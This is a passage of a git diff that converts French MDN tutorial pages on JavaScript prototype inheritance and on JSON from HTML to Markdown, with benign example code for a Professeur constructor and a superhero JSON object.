<code>Professeur.prototype.constructor</code>, cela devrait retourner <code>Professeur()</code>, et en plus nous héritons maintenant de <code>Personne()</code> !</p> - </li> -</ol> +4. A présent, si vous sauvegardez et rafraichissez après avoir écrit `Professeur.prototype.constructor`, cela devrait retourner `Professeur()`, et en plus nous héritons maintenant de `Personne()` ! -<h2 id="Donner_au_prototype_de_Professeur()_une_nouvelle_fonction_saluer()">Donner au prototype de Professeur() une nouvelle fonction saluer()</h2> +## Donner au prototype de Professeur() une nouvelle fonction saluer() -<p>Pour terminer notre code, nous devons définir une nouvelle fonction <code>saluer()</code> sur le constructeur de <code>Professeur()</code>.</p> +Pour terminer notre code, nous devons définir une nouvelle fonction `saluer()` sur le constructeur de `Professeur()`. -<p>La façon la plus facile d'accomplir cela est de la définir sur le prototype de Professeur() — ajoutez ceci à la suite de votre code :</p> +La façon la plus facile d'accomplir cela est de la définir sur le prototype de Professeur() — ajoutez ceci à la suite de votre code : -<pre>Professeur.prototype.saluer = function() { - var prefix; + Professeur.prototype.saluer = function() { + var prefix; - if (this.genre === 'mâle' || this.genre === 'Mâle' || this.genre === 'm' || this.genre === 'M') { - prefix = 'M.'; - } else if (this.genre === 'femelle' || this.genre === 'Femelle' || this.genre === 'f' || this.genre === 'F') { - prefix = 'Mme'; - } else { - prefix = ''; - } + if (this.genre === 'mâle' || this.genre === 'Mâle' || this.genre === 'm' || this.genre === 'M') { + prefix = 'M.'; + } else if (this.genre === 'femelle' || this.genre === 'Femelle' || this.genre === 'f' || this.genre === 'F') { + prefix = 'Mme'; + } else { + prefix = ''; + } - alert('Bonjour. Mon nom est ' + prefix + ' ' + this.nom_complet.nom + ', et j\'enseigne ' + this.matiere + '.'); -};</pre> + alert('Bonjour. Mon nom est ' + prefix + ' ' + this.nom_complet.nom + ', et j\'enseigne ' + this.matiere + '.'); + }; -<p>Ceci affiche la salutation du professeur, qui utilise le titre de civilité approprié à son genre, au moyen d'une instruction conditionnelle.</p> +Ceci affiche la salutation du professeur, qui utilise le titre de civilité approprié à son genre, au moyen d'une instruction conditionnelle. -<p> </p> -<h2 id="Exécuter_l'exemple">Exécuter l'exemple</h2> -<p>Une fois tout le code saisi, essayez de créer une instance d'objet <code>Professeur()</code> en ajoutant à la fin de votre JavaScript (ou à l'endroit de votre choix) :</p> +## Exécuter l'exemple -<pre>var professeur1 = new Professeur('Cédric', 'Villani', 44, 'm', ['football', 'cuisine'], 'les mathématiques');</pre> +Une fois tout le code saisi, essayez de créer une instance d'objet `Professeur()` en ajoutant à la fin de votre JavaScript (ou à l'endroit de votre choix) : -<p>Sauvegardez et actualisez, et essayez d'accéder aux propriétés et méthodes de votre nouvel objet <code>professeur1</code>, par exemple :</p> + var professeur1 = new Professeur('Cédric', 'Villani', 44, 'm', ['football', 'cuisine'], 'les mathématiques'); -<pre>professeur1.nom_complet.nom; -professeur1.interets[0]; -professeur1.bio(); -professeur1.matiere; -professeur1.saluer();Ffa</pre> +Sauvegardez et actualisez, et essayez d'accéder aux propriétés et méthodes de votre nouvel objet `professeur1`, par exemple : -<p>Tout cela devrait parfaitement fonctionner. Les instructions des lignes 1,2,3 et 6 accèdent à des membres hérités de la classe générique <code>Personne()</code> via son constructeur, tandis que la ligne 4 accède de façon plus spécifique à un membre qui n'est disponible que via le constructeur de la classe spécialisée <code>Professeur()</code>.</p> + professeur1.nom_complet.nom; + professeur1.interets[0]; + professeur1.bio(); + professeur1.matiere; + professeur1.saluer();Ffa -<p><strong>Note</strong>: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html">version finalisée</a> (Ou regarder tourner <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html">notre demo en ligne</a>).</p> +Tout cela devrait parfaitement fonctionner. Les instructions des lignes 1,2,3 et 6 accèdent à des membres hérités de la classe générique `Personne()` via son constructeur, tandis que la ligne 4 accède de façon plus spécifique à un membre qui n'est disponible que via le constructeur de la classe spécialisée `Professeur()`. -<p>La méthode que nous avons détaillée ici n'est pas la seule permettant de mettre en place l'héritage de classes en JavaScript, mais elle fonctionne parfaitement et elle vous permet d'avoir une bonne idée de comment implémenter l'héritage en JavaScript.</p> +**Note**: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre [version finalisée](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html) (Ou regarder tourner [notre demo en ligne](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html)). -<p>Vous pourriez également être intéressé par certaines des nouvelles fonctionnalités de {{glossary("ECMAScript")}} qui nous permettent de mettre en place l'héritage d'une façon beaucoup plus élégante en JavaScript (Voir <a href="/fr/docs/Web/JavaScript/Reference/Classes">Classes</a>). Nous ne les avons pas développées ici parce qu'elles ne sont actuellement pas supportées par tous les navigateurs. Toutes les autres constructions dont nous avons discuté dans cette série d'articles sont supportées par IE9 et les versions moins récentes et il existe des méthodes qui prennent plus en charge les navigateurs moins récents.</p> +La méthode que nous avons détaillée ici n'est pas la seule permettant de mettre en place l'héritage de classes en JavaScript, mais elle fonctionne parfaitement et elle vous permet d'avoir une bonne idée de comment implémenter l'héritage en JavaScript. -<p>Un moyen habituel est d'utiliser les librairies JavaScript — La plupart des options populaires ont une sélection de fonctionnalités disponibles pour réaliser l'héritage plus facilement et plus rapidement.</p> +Vous pourriez également être intéressé par certaines des nouvelles fonctionnalités de {{glossary("ECMAScript")}} qui nous permettent de mettre en place l'héritage d'une façon beaucoup plus élégante en JavaScript (Voir [Classes](/fr/docs/Web/JavaScript/Reference/Classes)). Nous ne les avons pas développées ici parce qu'elles ne sont actuellement pas supportées par tous les navigateurs. Toutes les autres constructions dont nous avons discuté dans cette série d'articles sont supportées par IE9 et les versions moins récentes et il existe des méthodes qui prennent plus en charge les navigateurs moins récents. -<p><a href="http://coffeescript.org/#classes">CoffeeScript</a> par exemple fournit les fonctionnalités <code>class</code>, <code>extends</code>, etc.</p> +Un moyen habituel est d'utiliser les librairies JavaScript — La plupart des options populaires ont une sélection de fonctionnalités disponibles pour réaliser l'héritage plus facilement et plus rapidement. -<h2 id="Un_exercice_plus_complexe.">Un exercice plus complexe.</h2> +[CoffeeScript](http://coffeescript.org/#classes) par exemple fournit les fonctionnalités `class`, `extends`, etc. -<p>Dans notre <a href="/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">section sur la programmation orientée objet</a> nous avons également inclus une classe <code>Etudiant</code> comme un concept qui hérite de toutes les fonctionnalités de la classe <code>Personne</code>, et qui a également une méthode <code>saluer()</code> differente de celle de <code>Personne</code> qui est beaucoup moins formelle que la méthode <code>saluer()</code> de <code>Professeur()</code>. Jetez un oeil à ce à quoi ressemble la méthode <code>saluer()</code> de la classe <code>Etudiant</code> dans cette section et essayez d'implémenter votre propre constructeur <code>Etudiant()</code> qui hérite de toutes les fonctionnalités de <code>Personne()</code> et la fonction <code>saluer()</code> différente.</p> +## Un exercice plus complexe. -<p><strong>Note</strong>: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html">version finalisée</a> (Ou regarder tourner <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">notre demo en ligne</a>).</p> +Dans notre [section sur la programmation orientée objet](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters) nous avons également inclus une classe `Etudiant` comme un concept qui hérite de toutes les fonctionnalités de la classe `Personne`, et qui a également une méthode `saluer()` differente de celle de `Personne` qui est beaucoup moins formelle que la méthode `saluer()` de `Professeur()`. Jetez un oeil à ce à quoi ressemble la méthode `saluer()` de la classe `Etudiant` dans cette section et essayez d'implémenter votre propre constructeur `Etudiant()` qui hérite de toutes les fonctionnalités de `Personne()` et la fonction `saluer()` différente. -<h2 id="Résumé_sur_les_membres_de_l'Objet">Résumé sur les membres de l'Objet</h2> +**Note**: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre [version finalisée](https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html) (Ou regarder tourner [notre demo en ligne](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html)). -<p>Pour résumer, vous avez de façon basique trois types de propriétés/méthodes à prendre en compte :</p> +## Résumé sur les membres de l'Objet -<ol> - <li>Celles définies au sein d'un constructeur et passées en paramètres aux instances de l'objet. Celles là ne sont pas difficiles à repérer — Dans votre propre code personnalisé, elles sont les membres définis en utilisant les lignes comme <code>this.x = x</code> ; Dans les codes préconstruits propres aux navigateurs, ils sont les membres seulement accessibles aux instances d'objet (usuellement créés en appelant un constructeur via l'utilisation du mot clé <code>new</code>, exemple : <code>var myInstance = new myConstructor()</code>).</li> - <li>Celles définies directement sur les constructeurs eux mêmes et accessibles uniquement sur les constructeurs. Celles là sont communément présentes uniquement dans les objets préconstruits des navigateurs et sont reconnus par le fait d'être directement chaînées sur un constructeur et non sur une instance. Par exemple, <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>.</li> - <li>Celles définies sur un prototype de constructeur qui sont héritées par toutes les instances des classes d'objet. Celles là incluent n'importe quel membre défini sur un prototype de constructeur, exemple : <code>myConstructor.prototype.x()</code>.</li> -</ol> +Pour résumer, vous avez de façon basique trois types de propriétés/méthodes à prendre en compte : -<p>Si vous êtes encore dans la confusion par rapport aux différents types ne vous inquiétez pas c'est normal — vous êtes encore entrain d'apprendre et la familiarité apparaîtra avec la pratique.</p> +1. Celles définies au sein d'un constructeur et passées en paramètres aux instances de l'objet. Celles là ne sont pas difficiles à repérer — Dans votre propre code personnalisé, elles sont les membres définis en utilisant les lignes comme `this.x = x` ; Dans les codes préconstruits propres aux navigateurs, ils sont les membres seulement accessibles aux instances d'objet (usuellement créés en appelant un constructeur via l'utilisation du mot clé `new`, exemple : `var myInstance = new myConstructor()`). +2. Celles définies directement sur les constructeurs eux mêmes et accessibles uniquement sur les constructeurs. Celles là sont communément présentes uniquement dans les objets préconstruits des navigateurs et sont reconnus par le fait d'être directement chaînées sur un constructeur et non sur une instance. Par exemple, [`Object.keys()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/keys). +3. Celles définies sur un prototype de constructeur qui sont héritées par toutes les instances des classes d'objet. Celles là incluent n'importe quel membre défini sur un prototype de constructeur, exemple : `myConstructor.prototype.x()`. -<h2 id="Quand_devez-vous_utiliser_l'héritage_en_JavaScript">Quand devez-vous utiliser l'héritage en JavaScript?</h2> +Si vous êtes encore dans la confusion par rapport aux différents types ne vous inquiétez pas c'est normal — vous êtes encore entrain d'apprendre et la familiarité apparaîtra avec la pratique. -<p>Particulièrement après ce dernier article, vous pourriez penser "woa c'est compliqué". Bien, vous avez vu juste, prototypes et héritages représentent une partie des aspects les plus complexes de JavaScript, mais une bonne partie de la puissance et de la flexibilité de JavaScript vient de sa structure Objet et de l'héritage et il est vraiment très important de comprendre comment cela fonctionne. </p> +## Quand devez-vous utiliser l'héritage en JavaScript? -<p>D'une certaine manière, vous utilisez l'héritage à plein temps — Que vous utilisiez différentes fonctionnalités d'une WebAPI , ou une méthode/propriété définie par défaut sur un objet prédéfini du navigateur que vous invoquez sur vos chaînes de caractères, tableaux etc., vous utilisez de façon implicite l'héritage. </p> +Particulièrement après ce dernier article, vous pourriez penser "woa c'est compliqué". Bien, vous avez vu juste, prototypes et héritages représentent une partie des aspects les plus complexes de JavaScript, mais une bonne partie de la puissance et de la flexibilité de JavaScript vient de sa structure Objet et de l'héritage et il est vraiment très important de comprendre comment cela fonctionne. -<p>En termes d'utilisation de l'héritage dans votre propre code, vous ne l'utiliserez probablement pas si souvent et spécialement pour débuter avec, et dans les petits projets — C'est une perte de temps d'utiliser les objets et l'héritage par amour pour cette pratique quand vous n'en avez pas besoin. Mais à mesure que les bases de votre code s'élargissent vous trouverez cette façon de faire probablement très utile. Si vous trouvez utile et plus pratique de commencer en créant un certain nombre d'objets spécialisés partageant les mêmes fonctionnalités, alors créer un objet générique qui contiendra toutes les fonctionnalités communes dont les objets spécialisés hériteront vous apparaîtra être une pratique peut être plus confortable et efficace par la suite. </p> +D'une certaine manière, vous utilisez l'héritage à plein temps — Que vous utilisiez différentes fonctionnalités d'une WebAPI , ou une méthode/propriété définie par défaut sur un objet prédéfini du navigateur que vous invoquez sur vos chaînes de caractères, tableaux etc., vous utilisez de façon implicite l'héritage. -<p><strong>Note</strong>: A cause de la manière dont JavaScript fonctionne, avec la chaîne de prototype, etc., le partage de fonctionnalités entre objet est souvent appelée <strong>délégation</strong> — Les objets spécialisés délèguent cette fonctionnalité à l'objet de type générique. C'est certainement beaucoup plus précis que de l'appeler héritage, puisque la fonctionnalité "héritée" n'est pas copiée dans les objets qui "héritent". Au contraire, elle demeure dans l'objet générique.</p> +En termes d'utilisation de l'héritage dans votre propre code, vous ne l'utiliserez probablement pas si souvent et spécialement pour débuter avec, et dans les petits projets — C'est une perte de temps d'utiliser les objets et l'héritage par amour pour cette pratique quand vous n'en avez pas besoin. Mais à mesure que les bases de votre code s'élargissent vous trouverez cette façon de faire probablement très utile. Si vous trouvez utile et plus pratique de commencer en créant un certain nombre d'objets spécialisés partageant les mêmes fonctionnalités, alors créer un objet générique qui contiendra toutes les fonctionnalités communes dont les objets spécialisés hériteront vous apparaîtra être une pratique peut être plus confortable et efficace par la suite. -<p>Lorsque vous utilisez l'héritage, il est conseillé de ne pas avoir trop de degrés d'héritage et de toujours garder minutieusement trace de l'endroit où vous définissez vos propriétés et méthodes. Il est possible de commencer à écrire un code qui modifie temporairement les prototypes des objets prédéfinis du navigateur mais vous ne devriez pas le faire à moins que n'ayiez une très bonne raison. Trop de degrés d'héritages peut conduire à une confusion sans fin et une peine sans fin quand vous essayez de déboguer un tel code. </p> +**Note**: A cause de la manière dont JavaScript fonctionne, avec la chaîne de prototype, etc., le partage de fonctionnalités entre objet est souvent appelée **délégation** — Les objets spécialisés délèguent cette fonctionnalité à l'objet de type générique. C'est certainement beaucoup plus précis que de l'appeler héritage, puisque la fonctionnalité "héritée" n'est pas copiée dans les objets qui "héritent". Au contraire, elle demeure dans l'objet générique. -<p>En définitive, les objets sont juste une autre forme de réutilisation de code comme les fonctions et les boucles avec leurs propres rôles et avantages. Si vous trouvez utile de créer un lot de variables et fonctions relatives et que vous voulez les retracer ensemble et les empaqueter de façon ordonnée, un objet est une bonne idée. Les objets sont également très utiles quand vous souhaitez passer une collection de données d'un endroit à un autre. Toutes ces choses peuvent être accomplies sans l'utilisation d'un constructeur ou de l'héritage. Si vous n'avez besoin que d'une seule instance, l'utilisation d'un simple objet littéral serait certainement un choix beaucoup plus judicieux et vous n'avez certainement pas besoin de l'héritage.</p> +Lorsque vous utilisez l'héritage, il est conseillé de ne pas avoir trop de degrés d'héritage et de toujours garder minutieusement trace de l'endroit où vous définissez vos propriétés et méthodes. Il est possible de commencer à écrire un code qui modifie temporairement les prototypes des objets prédéfinis du navigateur mais vous ne devriez pas le faire à moins que n'ayiez une très bonne raison. Trop de degrés d'héritages peut conduire à une confusion sans fin et une peine sans fin quand vous essayez de déboguer un tel code. -<h2 id="Résumé">Résumé</h2> +En définitive, les objets sont juste une autre forme de réutilisation de code comme les fonctions et les boucles avec leurs propres rôles et avantages. Si vous trouvez utile de créer un lot de variables et fonctions relatives et que vous voulez les retracer ensemble et les empaqueter de façon ordonnée, un objet est une bonne idée. Les objets sont également très utiles quand vous souhaitez passer une collection de données d'un endroit à un autre. Toutes ces choses peuvent être accomplies sans l'utilisation d'un constructeur ou de l'héritage. Si vous n'avez besoin que d'une seule instance, l'utilisation d'un simple objet littéral serait certainement un choix beaucoup plus judicieux et vous n'avez certainement pas besoin de l'héritage. -<p>Cet article a couvert le reste du coeur de la théorie du JSOO et des syntaxes que nous pensons que vous devriez connaître maintenant. A cet stade vous devriez comprendre l'objet JavaScript et les bases de la POO, les prototypes et l'héritage par prototype, comment créer les classes (constructeurs) et les instances d'objet, ajouter des fonctionnalités aux classes, et créer des sous classes qui héritent d'autres classes. </p> +## Résumé -<p>Dans le prochain article, nous jetterons un regard sur comment travailler avec le (JSON), un format commun d'échange de données écrit en utilisant les objets JavaScript.</p> +Cet article a couvert le reste du coeur de la théorie du JSOO et des syntaxes que nous pensons que vous devriez connaître maintenant. A cet stade vous devriez comprendre l'objet JavaScript et les bases de la POO, les prototypes et l'héritage par prototype, comment créer les classes (constructeurs) et les instances d'objet, ajouter des fonctionnalités aux classes, et créer des sous classes qui héritent d'autres classes. -<h2 id="Voir_aussi">Voir aussi</h2> +Dans le prochain article, nous jetterons un regard sur comment travailler avec le (JSON), un format commun d'échange de données écrit en utilisant les objets JavaScript. -<ul> - <li><a href="http://www.objectplayground.com/">ObjectPlayground.com</a> — Un site interactif d'appentissage très utile pour en savoir plus sur les Objets.</li> - <li><a href="https://www.amazon.com/gp/product/193398869X/">Secrets of the JavaScript Ninja</a>, Chapitre 6 — Un bon livre sur les concepts et techniques avancées du JavaScript par John Resig et Bear Bibeault. Le chapitre 6 couvre très bien les divers aspects des prototypes et de l'héritage ; vous trouverez sûrement facilement une version imprimée ou une version en ligne.</li> - <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes">You Don't Know JS: this & Object Prototypes</a> — Une partie de l'excellente série de manuels sur le JavaScript de Kyle Simpson. Le chapitre 5 en particulier jette un regard beaucoup plus approfondi sur les prototypes que nous ne l'avons fait ici. Nous avons présenté ici une vue simplifiée dans cette série d'articles dédiée aux débutants tandis que Kyle est allé dans les détails les plus profonds et fournit une image beaucoup plus complexe et plus précise.</li> -</ul> +## Voir aussi -<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</p> +- [ObjectPlayground.com](http://www.objectplayground.com/) — Un site interactif d'appentissage très utile pour en savoir plus sur les Objets. +- [Secrets of the JavaScript Ninja](https://www.amazon.com/gp/product/193398869X/), Chapitre 6 — Un bon livre sur les concepts et techniques avancées du JavaScript par John Resig et Bear Bibeault. Le chapitre 6 couvre très bien les divers aspects des prototypes et de l'héritage ; vous trouverez sûrement facilement une version imprimée ou une version en ligne. +- [You Don't Know JS: this & Object Prototypes](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes) — Une partie de l'excellente série de manuels sur le JavaScript de Kyle Simpson. Le chapitre 5 en particulier jette un regard beaucoup plus approfondi sur les prototypes que nous ne l'avons fait ici. Nous avons présenté ici une vue simplifiée dans cette série d'articles dédiée aux débutants tandis que Kyle est allé dans les détails les plus profonds et fournit une image beaucoup plus complexe et plus précise. -<p> </p> +{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}} -<h2 id="Dans_ce_module">Dans ce module</h2> -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Basics">Les bases de l'Objet</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS">JavaScript Orienté Objet pour débutants</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object_prototypes">Prototypes d'Objet</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Inheritance">L'héritage en JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/JSON">Travailler avec les données JSON</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object_building_practice">Construire les Objets dans la pratique</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Ajouter des fonctionnalités à la démo de nos balles bondissantes</a></li> -</ul> -<p> </p> -</div> +## Dans ce module -<p> </p> +- [Les bases de l'Objet](/fr/docs/Learn/JavaScript/Objects/Basics) +- [JavaScript Orienté Objet pour débutants](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS) +- [Prototypes d'Objet](/fr/docs/Learn/JavaScript/Objects/Object_prototypes) +- [L'héritage en JavaScript](/fr/docs/Learn/JavaScript/Objects/Inheritance) +- [Travailler avec les données JSON](/fr/docs/Learn/JavaScript/Objects/JSON) +- [Construire les Objets dans la pratique](/fr/docs/Learn/JavaScript/Objects/Object_building_practice) +- [Ajouter des fonctionnalités à la démo de nos balles bondissantes](/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features) diff --git a/files/fr/learn/javascript/objects/json/index.md b/files/fr/learn/javascript/objects/json/index.md index 8fa5a7e935..e531f12030 100644 --- a/files/fr/learn/javascript/objects/json/index.md +++ b/files/fr/learn/javascript/objects/json/index.md @@ -12,42 +12,51 @@ tags: - Tutoriel translation_of: Learn/JavaScript/Objects/JSON --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div> - -<p>Le JavaScript Object Notation (JSON) est un format standard utilisé pour représenter des données structurées de façon semblable aux objets Javascript. Il est habituellement utilisé pour structurer et transmettre des données sur des sites web (par exemple, envoyer des données depuis un serveur vers un client afin de les afficher sur une page web ou vice versa). Comme cette notation est extrêmement courante, cet article a pour but de vous donner les connaissances nécessaires pour travailler avec JSON en JavaScript, vous apprendre à analyser la syntaxe du JSON afin d'en extraire des données et écrire vos propres objets JSON.</p> +Le JavaScript Object Notation (JSON) est un format standard utilisé pour représenter des données structurées de façon semblable aux objets Javascript. Il est habituellement utilisé pour structurer et transmettre des données sur des sites web (par exemple, envoyer des données depuis un serveur vers un client afin de les afficher sur une page web ou vice versa). Comme cette notation est extrêmement courante, cet article a pour but de vous donner les connaissances nécessaires pour travailler avec JSON en JavaScript, vous apprendre à analyser la syntaxe du JSON afin d'en extraire des données et écrire vos propres objets JSON. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vocabulaire de base d'informatique, connaissances de base en HTML et CSS, connaissances de base en JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks">Les blocs</a>) et en Javascript orienté objets (voir <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction aux objets</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre comment utiliser les données stockées dans un objet JSON, et créer vos propres objets JSON.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vocabulaire de base d'informatique, connaissances de base en HTML et + CSS, connaissances de base en JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et + <a href="/fr/docs/Learn/JavaScript/Building_blocks">Les blocs</a>) et en + Javascript orienté objets (voir + <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction" + >Introduction aux objets</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre comment utiliser les données stockées dans un objet JSON, et + créer vos propres objets JSON. + </td> + </tr> + </tbody> </table> -<h2 id="Plus_sérieusement_quest_ce_que_le_JSON">Plus sérieusement, qu'est ce que le JSON ?</h2> +## Plus sérieusement, qu'est ce que le JSON ? -<p>{{glossary("JSON")}} est un format de données semblable à la syntaxe des objets JavaScript, qui a été popularisé par <a href="https://en.wikipedia.org/wiki/Douglas_Crockford">Douglas Crockford</a>. Malgré sa syntaxe très similaire à celle des objets littéraux JavaScript, JSON peut être utilisé indépendamment de ce langage et ainsi, de nombreux autres langages de programmation disposent de fonctionnalités permettant d'analyser la syntaxe du JSON et d'en générer.</p> +{{glossary("JSON")}} est un format de données semblable à la syntaxe des objets JavaScript, qui a été popularisé par [Douglas Crockford](https://en.wikipedia.org/wiki/Douglas_Crockford). Malgré sa syntaxe très similaire à celle des objets littéraux JavaScript, JSON peut être utilisé indépendamment de ce langage et ainsi, de nombreux autres langages de programmation disposent de fonctionnalités permettant d'analyser la syntaxe du JSON et d'en générer. -<p>Le JSON se présente sous la forme d'une chaîne de caractères —utile lorsque vous souhaitez transmettre les données sur un réseau. Il a donc besoin d'être converti en un objet JavaScript natif lorsque vous souhaitez accéder aux données. Ce n'est pas vraiment un souci puisque le JavaScript fournit un objet global <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> disposant des méthodes pour assurer la conversion entre les deux.</p> +Le JSON se présente sous la forme d'une chaîne de caractères —utile lorsque vous souhaitez transmettre les données sur un réseau. Il a donc besoin d'être converti en un objet JavaScript natif lorsque vous souhaitez accéder aux données. Ce n'est pas vraiment un souci puisque le JavaScript fournit un objet global [JSON](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON) disposant des méthodes pour assurer la conversion entre les deux. -<div class="note"> -<p><strong>Note :</strong> Convertir une chaîne de caractères en un objet natif se nomme <strong>analyse syntaxique (parsage)</strong> tandis que le contraire porte le nom de la <strong>linéarisation (stringification)</strong>.</p> -</div> +> **Note :** Convertir une chaîne de caractères en un objet natif se nomme **analyse syntaxique (parsage)** tandis que le contraire porte le nom de la **linéarisation (stringification)**. -<p>Un objet JSON peut être stocké dans son propre fichier qui se présente simplement sous la forme d'un fichier texte avec l'extension <code>.json</code> et le {{glossary("MIME type")}} <code>application/json</code>.</p> +Un objet JSON peut être stocké dans son propre fichier qui se présente simplement sous la forme d'un fichier texte avec l'extension `.json` et le {{glossary("MIME type")}} `application/json`. -<h3 id="Structure_du_JSON">Structure du JSON</h3> +### Structure du JSON -<p>Nous disions tout à l'heure qu'un objet JSON n'était ni plus ni moins qu'un objet Javascript tout à fait normal et c'est généralement le cas. Un objet JSON accepte comme valeur les mêmes types de données de base que tout autre objet Javascript — chaînes de caractères, nombres, tableaux, booléens et tout autre objet littéral. Cela vous permet de hiérarchiser vos données comme ceci :</p> +Nous disions tout à l'heure qu'un objet JSON n'était ni plus ni moins qu'un objet Javascript tout à fait normal et c'est généralement le cas. Un objet JSON accepte comme valeur les mêmes types de données de base que tout autre objet Javascript — chaînes de caractères, nombres, tableaux, booléens et tout autre objet littéral. Cela vous permet de hiérarchiser vos données comme ceci : -<pre class="brush: json">{ +```json +{ "squadName": "Super hero squad", "homeTown": "Metro City", "formed": 2016, @@ -87,34 +96,36 @@ translation_of: Learn/JavaScript/Objects/JSON ] } ] -}</pre> +} +``` -<p>Si nous chargeons cet objet dans un fichier Javascript au sein d'une variable appelée <code>superHeroes</code> par exemple, nous pouvons accéder à ses données de la même façon que nous l'avons fait dans l'article <a href="/fr/docs/Learn/JavaScript/Objects/Basics">Les bases de JavaScript orienté objets</a> à l'aide de la notation point / crochets. Par exemple :</p> +Si nous chargeons cet objet dans un fichier Javascript au sein d'une variable appelée `superHeroes` par exemple, nous pouvons accéder à ses données de la même façon que nous l'avons fait dans l'article [Les bases de JavaScript orienté objets](/fr/docs/Learn/JavaScript/Objects/Basics) à l'aide de la notation point / crochets. Par exemple : -<pre class="brush: js">superHeroes.hometown -superHeroes['active']</pre> +```js +superHeroes.hometown +superHeroes['active'] +``` -<p>Pour accéder aux données plus profondes de la hiérarchie, vous n'avez qu'à enchaîner à la fois les noms des propriétés et les indexes des tableaux. Par exemple, l'expression suivante pointe vers le troisième superpouvoir du second super héros présent dans la liste :</p> +Pour accéder aux données plus profondes de la hiérarchie, vous n'avez qu'à enchaîner à la fois les noms des propriétés et les indexes des tableaux. Par exemple, l'expression suivante pointe vers le troisième superpouvoir du second super héros présent dans la liste : -<pre class="brush: js">superHeroes['members'][1]['powers'][2]</pre> +```js +superHeroes['members'][1]['powers'][2] +``` -<ol> - <li>D'abord, nous partons de la variable — <code>superHeroes</code></li> - <li>À l'intérieur de laquelle nous désirons accéder à la propriété <code>members</code>, donc, nous tapons <code>["members"]</code>.</li> - <li><code>members</code> contient un tableau renfermant des objets. Nous désirons accéder au second de ces objets, donc nous utilisons <code>[1]</code>.</li> - <li>À l'intérieur de cet objet, nous souhaitons accéder à la propriété <code>powers</code>, donc, nous utilisons <code>["powers"]</code>.</li> - <li>Enfin, à l'intérieur de cette propriété <code>powers</code> nous trouvons un nouveau tableau qui contient les super pouvoirs de ce héros. Nous désirons obtenir le troisième, donc nous tapons <code>[2]</code>.</li> -</ol> +1. D'abord, nous partons de la variable — `superHeroes` +2. À l'intérieur de laquelle nous désirons accéder à la propriété `members`, donc, nous tapons `["members"]`. +3. `members` contient un tableau renfermant des objets. Nous désirons accéder au second de ces objets, donc nous utilisons `[1]`. +4. À l'intérieur de cet objet, nous souhaitons accéder à la propriété `powers`, donc, nous utilisons `["powers"]`. +5. Enfin, à l'intérieur de cette propriété `powers` nous trouvons un nouveau tableau qui contient les super pouvoirs de ce héros. Nous désirons obtenir le troisième, donc nous tapons `[2]`. -<div class="note"> -<p><strong>Note :</strong> L'objet JSON vu ci-dessus est disponible au sein d'une variable dans notre exemple <a href="http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html">JSONTest.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html">code source</a>). Essayez de le charger et d'accéder aux données en utilisant la console Javascript de votre navigateur.</p> -</div> +> **Note :** L'objet JSON vu ci-dessus est disponible au sein d'une variable dans notre exemple [JSONTest.html](http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html) (voir le [code 